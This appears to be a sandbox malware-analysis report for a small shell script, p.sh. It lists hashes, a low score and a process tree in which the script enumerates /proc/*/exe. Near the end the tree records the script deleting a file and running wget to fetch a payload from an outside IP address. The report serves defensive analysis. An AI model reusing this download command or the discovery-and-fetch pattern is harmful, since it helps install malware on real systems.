7c5f2639ecc065e20c9b2513ba99f30ddf80ef4cdaa1b3eb6116a5247a407e53

Analysis

max time kernel
149s
max time network
150s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
23/06/2026, 12:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
p.sh
Size 839B
Sample260623-phgrnacx5l
SHA256 7c5f2639ecc065e20c9b2513ba99f30ddf80ef4cdaa1b3eb6116a5247a407e53
MD5 8b6f27a2a29411741b559c06cdb86f99
SHA1 226a277643fd6c19bd280da08cd39641c30415cd
SHA512 0c0b36288996fa00ad3dc2f4fd9715c61037b2cbe82e55b53d9a94b1fb4378dae91d441892f99b41d327f275f86ae8c6e13457146d8fa17e8ab6b81e29834ebb
TLSH
T1FD016FD9C2509A10513DDE5D329B51A0B452C3CE068B0F747FDD593DFB9C904B066F94
MD5 SHA1 SHA512 TLSH

Score

3^/10

discovery

Malware Config

Signatures

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls

/tmp/p.sh
/tmp/p.sh
1⤵
PID:644
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  - Reads runtime system information
  PID:647
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  - Reads runtime system information
  PID:653
- /bin/ls
  ls -l /proc/106/exe
  2⤵
  - Reads runtime system information
  PID:658
- /bin/ls
  ls -l /proc/108/exe
  2⤵
  - Reads runtime system information
  PID:662
- /bin/ls
  ls -l /proc/109/exe
  2⤵
  - Reads runtime system information
  PID:664
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  - Reads runtime system information
  PID:669
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  - Reads runtime system information
  PID:672
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  - Reads runtime system information
  PID:674
- /bin/ls
  ls -l /proc/137/exe
  2⤵
  - Reads runtime system information
  PID:676
- /bin/ls
  ls -l /proc/138/exe
  2⤵
  - Reads runtime system information
  PID:677
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  - Reads runtime system information
  PID:678
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  - Reads runtime system information
  PID:679
- /bin/ls
  ls -l /proc/150/exe
  2⤵
  - Reads runtime system information
  PID:681
- /bin/ls
  ls -l /proc/158/exe
  2⤵
  - Reads runtime system information
  PID:682
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  - Reads runtime system information
  PID:683
- /bin/ls
  ls -l /proc/160/exe
  2⤵
  - Reads runtime system information
  PID:684
- /bin/ls
  ls -l /proc/169/exe
  2⤵
  - Reads runtime system information
  PID:685
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  - Reads runtime system information
  PID:686
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  - Reads runtime system information
  PID:687
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  - Reads runtime system information
  PID:688
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  - Reads runtime system information
  PID:689
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  - Reads runtime system information
  PID:690
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  - Reads runtime system information
  PID:691
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  - Reads runtime system information
  PID:692
- /bin/ls
  ls -l /proc/227/exe
  2⤵
  - Reads runtime system information
  PID:693
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  - Reads runtime system information
  PID:694
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  - Reads runtime system information
  PID:695
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  - Reads runtime system information
  PID:696
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  - Reads runtime system information
  PID:697
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  - Reads runtime system information
  PID:698
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  - Reads runtime system information
  PID:699
- /bin/ls
  ls -l /proc/281/exe
  2⤵
  - Reads runtime system information
  PID:700
- /bin/ls
  ls -l /proc/289/exe
  2⤵
  PID:701
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  - Reads runtime system information
  PID:702
- /bin/ls
  ls -l /proc/297/exe
  2⤵
  - Reads runtime system information
  PID:703
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  - Reads runtime system information
  PID:704
- /bin/ls
  ls -l /proc/307/exe
  2⤵
  - Reads runtime system information
  PID:705
- /bin/ls
  ls -l /proc/308/exe
  2⤵
  - Reads runtime system information
  PID:706
- /bin/ls
  ls -l /proc/309/exe
  2⤵
  - Reads runtime system information
  PID:707
- /bin/ls
  ls -l /proc/318/exe
  2⤵
  - Reads runtime system information
  PID:708
- /bin/ls
  ls -l /proc/323/exe
  2⤵
  - Reads runtime system information
  PID:709
- /bin/ls
  ls -l /proc/340/exe
  2⤵
  - Reads runtime system information
  PID:710
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  - Reads runtime system information
  PID:711
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  - Reads runtime system information
  PID:712
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  PID:713
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  - Reads runtime system information
  PID:714
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  - Reads runtime system information
  PID:717
- /bin/ls
  ls -l /proc/565/exe
  2⤵
  - Reads runtime system information
  PID:720
- /bin/ls
  ls -l /proc/578/exe
  2⤵
  - Reads runtime system information
  PID:721
- /bin/ls
  ls -l /proc/582/exe
  2⤵
  - Reads runtime system information
  PID:724
- /bin/ls
  ls -l /proc/585/exe
  2⤵
  - Reads runtime system information
  PID:726
- /bin/ls
  ls -l /proc/586/exe
  2⤵
  - Reads runtime system information
  PID:728
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  - Reads runtime system information
  PID:730
- /bin/ls
  ls -l /proc/627/exe
  2⤵
  PID:732
- /bin/ls
  ls -l /proc/633/exe
  2⤵
  - Reads runtime system information
  PID:735
- /bin/ls
  ls -l /proc/634/exe
  2⤵
  - Reads runtime system information
  PID:736
- /bin/ls
  ls -l /proc/639/exe
  2⤵
  - Reads runtime system information
  PID:739
- /bin/ls
  ls -l /proc/641/exe
  2⤵
  - Reads runtime system information
  PID:741
- /bin/ls
  ls -l /proc/642/exe
  2⤵
  - Reads runtime system information
  PID:743
- /bin/ls
  ls -l /proc/644/exe
  2⤵
  - Reads runtime system information
  PID:746
- /bin/ls
  ls -l /proc/645/exe
  2⤵
  - Reads runtime system information
  PID:748
- /bin/ls
  ls -l /proc/646/exe
  2⤵
  - Reads runtime system information
  PID:750
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  - Reads runtime system information
  PID:752
- /bin/ls
  ls -l /proc/76/exe
  2⤵
  - Reads runtime system information
  PID:754
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  - Reads runtime system information
  PID:756
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  - Reads runtime system information
  PID:758
- /bin/ls
  ls -l /proc/97/exe
  2⤵
  - Reads runtime system information
  PID:761
- /bin/rm
  rm -rf jkL
  2⤵
  PID:762
- /usr/bin/wget
  wget http://129.121.114.124/jkL
  2⤵
  PID:764

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads